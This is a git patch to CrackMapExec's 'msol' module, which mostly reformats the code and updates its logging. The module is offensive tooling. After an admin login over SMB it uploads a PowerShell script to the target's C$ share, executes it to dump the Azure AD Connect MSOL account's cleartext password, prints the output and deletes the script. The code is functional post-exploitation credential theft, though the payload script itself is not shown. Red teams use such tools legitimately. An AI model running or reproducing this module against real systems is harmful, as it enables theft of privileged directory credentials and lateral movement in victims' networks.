From edb85f382ef70e8732357ef6fce258014634d498 Mon Sep 17 00:00:00 2001
From: Marshall Hallenbeck <marshall.hallenbeck@gmail.com>
Date: Wed, 5 Apr 2023 23:00:01 -0400
Subject: [PATCH] update msol module logging

---
 cme/modules/msol.py | 91 +++++++++++++++++++++++++--------------------
 1 file changed, 50 insertions(+), 41 deletions(-)

diff --git a/cme/modules/msol.py b/cme/modules/msol.py
index cd6db076..631f5709 100644
--- a/cme/modules/msol.py
+++ b/cme/modules/msol.py
@@ -1,79 +1,88 @@
 # MSOL module for CME 
 # Author of the module : https://twitter.com/Daahtk
 # Based on the article : https://blog.xpnsec.com/azuread-connect-for-redteam/
-
-from base64 import b64decode
 from sys import exit
 from os import path
+from cme.helpers.powershell import get_ps_script
+
 
 class CMEModule:
+    name = "msol"
+    description = "Dump MSOL cleartext password from the localDB on the Azure AD-Connect Server"
+    supported_protocols = ["smb"]
+    opsec_safe = True
+    multiple_hosts = True
 
-   name = 'msol'
-   description = 'Dump MSOL cleartext password from the localDB on the Azure AD-Connect Server'
-   supported_protocols = ['smb']
-   opsec_safe = True 
-   multiple_hosts = True
+    def __init__(self, context=None, module_options=None):
+        self.use_embedded = None
+        self.MSOL_PS1 = None
+        self.msol_embedded = None
+        self.cmd = None
+        self.msolmdl = None
+        self.msol = None
+        self.tmp_share = None
+        self.share = None
+        self.tmp_dir = None
+        self.context = context
+        self.module_options = module_options
 
-   def options(self, context, module_options):
-       '''
-           MSOL_PS1   // Path to the msol binary on your computer
-       '''
+    def options(self, context, module_options):
+        """
+        MSOL_PS1   // Path to the msol binary on your computer
+        """
+        self.tmp_dir = "C:\\Windows\\Temp\\"
+        self.share = "C$"
+        self.tmp_share = self.tmp_dir.split(":")[1]
+        self.msol = "msol.ps1"
+        self.use_embedded = True
+        self.msolmdl = self.cmd = ""
 
-       self.tmp_dir = "C:\\Windows\\Temp\\"
-       self.share = "C$"
-       self.tmp_share = self.tmp_dir.split(":")[1]
-       self.msol = "msol.ps1"
-       self.useembeded = True
-       self.msolmdl = self.cmd = ""
+        with open(get_ps_script('msol_dump/msol_dump.ps1'), 'r') as msolsc:
+            self.msol_embedded = msolsc.read()
 
-       with open(get_ps_script('msol_dump/msol_dump.ps1'), 'r') as msolsc:
-           self.msol_embedded = msolsc.read()      
+        if "MSOL_PS1" in module_options:
+            self.MSOL_PS1 = module_options["MSOL_PS1"]
+            self.use_embedded = False
 
-       if "MSOL_PS1" in module_options:
-           self.MSOL_PS1 = module_options["MSOL_PS1"]
-           self.useembeded = False
-
-
-   def execscript(self, _, connection):
+    def exec_script(self, _, connection):
         command = f"C:\\windows\\system32\\WindowsPowershell\\v1.0\\powershell.exe {self.tmp_dir}msol.ps1"
         return connection.execute(command, True)
-        
-   def on_admin_login(self, context, connection):
 
-        if self.useembeded:
+    def on_admin_login(self, context, connection):
+        if self.use_embedded:
             file_to_upload = "/tmp/msol.ps1"
             with open(file_to_upload, 'w') as msol:
                 msol.write(self.msol_embedded)
         else:
             if path.isfile(self.MSOL_PS1):
-               file_to_upload = self.MSOL_PS1
+                file_to_upload = self.MSOL_PS1
             else:
-               context.log.error(f"Cannot open {self.MSOL_PS1}")
-               exit(1)
+                context.log.fail(f"Cannot open {self.MSOL_PS1}")
+                exit(1)
 
         context.log.display(f"Uploading {self.msol}")
         with open(file_to_upload, 'rb') as msol:
             try:
-               connection.conn.putFile(self.share, f"{self.tmp_share}{self.msol}", msol.read)
-               context.log.success(f"Msol script successfully uploaded")
+                connection.conn.putFile(self.share, f"{self.tmp_share}{self.msol}", msol.read)
+                context.log.success(f"Msol script successfully uploaded")
             except Exception as e:
-               context.log.error(f"Error writing file to share {self.tmp_share}: {e}")
-               return
+                context.log.fail(f"Error writing file to share {self.tmp_share}: {e}")
+                return
         try:
             if self.cmd == "":
                 context.log.display(f"Executing the script")
-                p = self.execscript(context, connection)
+                p = self.exec_script(context, connection)
                 for line in p.splitlines():
                     p1, p2 = line.split(" ", 1)
                     context.log.highlight(f"{p1} {p2}")
-            else :
-                context.log.error(f"Script Execution Impossible")
-                
+            else:
+                context.log.fail(f"Script Execution Impossible")
+
         except Exception as e:
-            context.log.error(f"Error runing command: {e}")
+            context.log.fail(f"Error running command: {e}")
         finally:
             try:
                 connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.msol}")
                 context.log.success(f"Msol script successfully deleted")
             except Exception as e:
-                context.log.error(f"Error deleting msol script on {self.share}: {e}")
+                context.log.fail(f"[OPSEC] Error deleting msol script on {self.share}: {e}")